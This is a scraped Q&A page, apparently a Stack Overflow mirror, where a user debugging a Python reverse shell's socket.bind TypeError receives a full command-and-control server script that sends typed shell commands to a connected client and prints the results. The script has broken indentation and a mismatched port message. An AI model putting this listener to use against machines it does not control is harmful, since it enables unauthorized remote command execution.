简体   繁体   中英

Python socket bind ((host, port))

im making a Reverse Shell. and in the server.py file i got this error. i has trying in de socket_bind() s.bind((host, port))

My code:

def socket_bind():
    try:
        global host
        global port
        global s
        print("Binding socket to port: " + str(port))
        s.bind((host, port))
        s.listen(5)
    except socket.error as msg:
        print("Socket binding error: " + str(msg) + "\n" + "retrying...")
        socket_bind()

my error:

Binding socket to port: 90
Traceback (most recent call last):
  File "c:/ReverseShell/server.py", line 50, in <module>
    main()
  File "c:/ReverseShell/server.py", line 47, in main
    socket_bind()
  File "c:/ReverseShell/server.py", line 21, in socket_bind
    s.bind((host, port))
TypeError: an integer is required (got type str)

how can i fix this error?

I know where you get this code. I don't know how to fix it, but you could use the code below for server.

# first import all require module
import socket  # For building tcp connection

import os #  Using this module for basic operation


os.system ("clear || cls") # it clear the terminal screen

def connect ():
    
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) # START a socket subject s
    
s.bind (("192.168.0.200", 9999)) # Define IP and Port 

    s.listen (1) # listen METHOD for pass the parameter as 1

    print ('[+] Listening for incoming TCP connection on port 8080')
    conn, addr = s.accept () #I want my server to accept CLIENT AND IP ADRESS BY ACCEPT METHOD

    print ('[+] We got a connection from: ', addr)# After accpeted, print out the result

    ter = 'terminate'

    while True: #while connection is true
        command = input ("\nShell>") # Get user input and store it in command variable
        if ter in command: # If we type terminate command, so close te connection and break the loop
            conn.send (ter.encode('utf-8'))  #to send data to client with conn.send()
            conn.close ()
            break
        else:
            conn.send(str.encode (command)) #here we will send the command to the target send commands from server to client using python socket
            client = str(conn.recv(1024).decode("utf-8"))
            print (client) # print the result that we got back

def main():
    connect()
main ()

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM